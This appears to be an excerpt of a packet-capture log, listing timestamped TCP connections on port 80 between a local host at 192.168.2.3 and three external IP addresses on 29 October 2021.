Oct 29, 2021 20:30:01.256189108 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.256211042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.256373882 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.256442070 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.256463051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.256608009 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.257059097 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.257082939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.257103920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.257126093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.257143021 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.257177114 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.257178068 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.262270927 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:01.309231997 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.313762903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.313786983 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.313802958 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.313817978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.313867092 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.315506935 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.317970037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.317996025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.318011999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.318023920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.318084955 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.318106890 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.350325108 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350352049 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350373030 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350394011 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350508928 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.350531101 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.350843906 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350866079 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.350912094 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.351309061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.351690054 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.351711988 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.351795912 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.352058887 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.352075100 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.352097988 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.403031111 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.418848991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.418891907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.418931007 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.418968916 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.418984890 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.419008970 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419038057 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.419045925 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419084072 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419087887 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.419121981 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419169903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419179916 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.419183016 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.419239044 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.454617023 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.454648972 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.454674959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.454703093 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.454703093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.454976082 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.455064058 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.455096006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.455147982 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.457823038 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.512311935 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526186943 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526212931 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526230097 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526247025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526262999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526278973 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526292086 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526298046 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526307106 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526323080 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526334047 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526339054 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526349068 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526355028 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526370049 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526386023 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526388884 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526396990 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.526412010 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.526433945 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.560635090 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.560662031 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.560813904 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.560832024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.560837030 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.560887098 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.560889006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.560906887 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.561083078 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.561098099 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.561115026 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.561130047 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.561157942 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.561161041 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.561197996 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.562591076 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.562619925 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.562804937 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.562958956 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.606324911 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.607100010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607125998 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607141972 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607158899 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607173920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607188940 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607218027 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.607378006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.607393026 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.610080957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.610105991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.610119104 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.610131025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.610372066 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.640922070 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.640947104 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.640964985 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.640971899 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.640985012 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.641001940 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.641011953 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.641016006 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.641067982 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.649055958 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649074078 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649116993 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649132967 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649149895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649152994 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.649167061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649178028 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.649178982 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.649388075 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.680824041 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680872917 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680896997 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680908918 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.680915117 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680932999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680933952 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.680951118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680963993 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.680974007 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.681006908 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.703048944 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703121901 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703135014 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703152895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703170061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703186035 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.703191996 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.703232050 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.703274965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713768005 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713800907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713824987 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713850021 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713872910 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713891029 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713923931 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.713972092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.713988066 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.714040995 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.736323118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.736342907 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.736356020 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.736363888 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.736565113 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.751068115 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.751096964 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.751116037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.751132011 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.751161098 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.751179934 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.752120018 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752141953 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752159119 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752176046 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752207041 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.752219915 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.752517939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752533913 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.752756119 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.771497965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.771522045 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.771534920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.771543026 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.772114992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.824630022 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.824661016 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.824677944 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.824693918 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.824882030 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.824975967 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.824992895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825006962 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825022936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825047016 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.825156927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825175047 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825181961 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.825191021 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825206995 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825237989 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.825362921 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.825390100 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.844603062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.844635010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.844652891 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.844665051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.844723940 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.844749928 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.858115911 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858148098 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858160973 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858179092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858314991 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.858339071 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.858406067 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858422995 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858441114 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858458042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858494043 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.858509064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858529091 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.858551025 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.858572960 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.880708933 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.880743027 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.880765915 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.880784988 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.880861044 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.880878925 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.917587042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917618990 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917640924 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917663097 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917682886 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917705059 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917723894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917722940 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.917746067 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917767048 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917774916 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.917788029 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917802095 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.917809963 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917830944 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917854071 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.917918921 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.917969942 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.926491976 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.926523924 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.926548004 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.926563978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.926582098 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.926632881 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.950403929 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950436115 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950458050 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950474024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950592041 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.950628996 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.950946093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950969934 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.950989962 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951011896 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951057911 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.951080084 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.951132059 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951195002 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951216936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951239109 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951237917 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.951282024 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.951323032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951340914 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.951657057 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.960252047 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.960280895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.960298061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.960311890 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:01.960325956 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.960362911 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:01.984343052 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:01.984867096 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.027400017 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027435064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027457952 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027473927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027493954 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027517080 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027517080 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.027539968 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027560949 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027581930 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027591944 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.027602911 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027625084 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027646065 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.027646065 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027667046 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027683020 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.027704000 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.027806997 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.029737949 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.029772043 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.029793024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.029808044 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.029824018 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.029870033 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.051502943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.052123070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.060636997 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060668945 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060686111 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060709953 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060731888 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060754061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060775042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060795069 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.060797930 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060820103 CEST	80	49846	91.219.236.97	192.168.2.3
